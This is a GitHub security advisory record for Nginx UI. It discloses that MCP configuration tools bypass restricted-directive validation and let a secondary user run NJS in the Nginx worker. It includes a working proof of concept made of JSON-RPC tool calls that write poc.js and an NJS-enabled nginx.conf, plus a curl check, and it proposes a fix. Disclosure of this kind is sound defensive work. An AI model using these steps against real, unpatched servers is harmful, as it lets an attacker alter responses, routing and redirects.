{"id":"GHSA-5r62-gj48-897x","summary":"Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context","details":"## Summary\n\nThe regular HTTP configuration API rejects restricted Nginx directives such as `load_module`, `js_import`, and `js_content`.\n\nHowever, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load `ngx_http_js_module.so`, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context.\n\nThis is authenticated and is not OS command execution by itself.\n\n## Affected component\n\n- `/mcp`\n- `/mcp_message`\n- MCP tool: `nginx_config_add`\n- Nginx configuration validation\n\n## Impact\n\nA secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context.\n\nThis may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling.\n\n## Minimal PoC\n\n### Preconditions\n\n- Attacker has a secondary authenticated Nginx UI account.\n- MCP is enabled.\n- Nginx has NJS available:\n\n```bash\nfind / -name \"ngx_http_js_module.so\" 2\u003e/dev/null\n```\n\nObserved in the lab:\n\n```text\n/usr/lib/nginx/modules/ngx_http_js_module.so\n```\n\n### 1. HTTP API blocks the restricted config\n\nRequest:\n\n```http\nPOST /api/configs\nAuthorization: \u003cSECONDARY_USER_JWT\u003e\nContent-Type: application/json\n```\n\nBody:\n\n```json\n{\n \"name\": \"nginx.conf\",\n \"base_dir\": \"\",\n \"overwrite\": true,\n \"sync_node_ids\": [],\n \"content\": \"load_module modules/ngx_http_js_module.so;\\n\\nuser nginx;\\nworker_processes auto;\\n\\nevents { worker_connections 1024; }\\n\\nhttp {\\n js_import poc from /etc/nginx/poc.js;\\n server {\\n listen 127.0.0.1:18249;\\n location /__poc { js_content poc.handler; }\\n }\\n}\\n\"\n}\n```\n\nObserved result:\n\n```text\nRejected because the content contains restricted directives such as load_module/js_import/js_content.\n```\n\n### 2. MCP writes the JavaScript file\n\nOpen an MCP session and call `tools/call` with:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"nginx_config_add\",\n \"arguments\": {\n \"name\": \"poc.js\",\n \"base_dir\": \"\",\n \"overwrite\": true,\n \"sync_node_ids\": [],\n \"content\": \"function handler(r) { r.return(200, \\\"MCP_NJS_MARKER\\\\n\\\"); }\\nexport default { handler };\\n\"\n }\n }\n}\n```\n\n### 3. MCP writes the NJS-enabled nginx.conf\n\nCall `tools/call` again:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"nginx_config_add\",\n \"arguments\": {\n \"name\": \"nginx.conf\",\n \"base_dir\": \"\",\n \"overwrite\": true,\n \"sync_node_ids\": [],\n \"content\": \"load_module modules/ngx_http_js_module.so;\\n\\nuser nginx;\\nworker_processes auto;\\n\\nerror_log /var/log/nginx/error.log notice;\\npid /run/nginx.pid;\\n\\nevents { worker_connections 1024; }\\n\\nhttp {\\n default_type application/octet-stream;\\n js_import poc from /etc/nginx/poc.js;\\n server {\\n listen 127.0.0.1:18249;\\n location /__poc { js_content poc.handler; }\\n }\\n}\\n\"\n }\n }\n}\n```\n\n### 4. Verify NJS execution\n\nInside the Nginx UI container:\n\n```bash\ncurl -i http://127.0.0.1:18249/__poc\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\n\nMCP_NJS_MARKER\n```\n\nThis confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context.\n\n## Expected behavior\n\nMCP configuration tools should enforce the same restricted directive validation as the HTTP API.\n\n## Suggested fix\n\nApply `ValidateConfigFile(path, content)` before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as:\n\n- `load_module`\n- `js_import`\n- `js_content`\n- `js_set`\n- `perl_set`\n- `user root`","aliases":["CVE-2026-84319"],"modified":"2026-10-15T20:30:08.559027743Z","published":"2026-10-15T20:10:44Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-10-15T20:10:44Z","nvd_published_at":"2026-10-12T21:17:22Z","cwe_ids":["CWE-693"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-5r62-gj48-897x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84319"},{"type":"WEB","url":"https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2"},{"type":"PACKAGE","url":"https://github.com/0xJacky/nginx-ui"},{"type":"WEB","url":"https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"}],"affected":[{"package":{"name":"github.com/0xJacky/Nginx-UI","ecosystem":"Go","purl":"pkg:golang/github.com/0xJacky/Nginx-UI"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.9.10-0.20260703131214-23d1934099b0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-5r62-gj48-897x/GHSA-5r62-gj48-897x.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H"}]}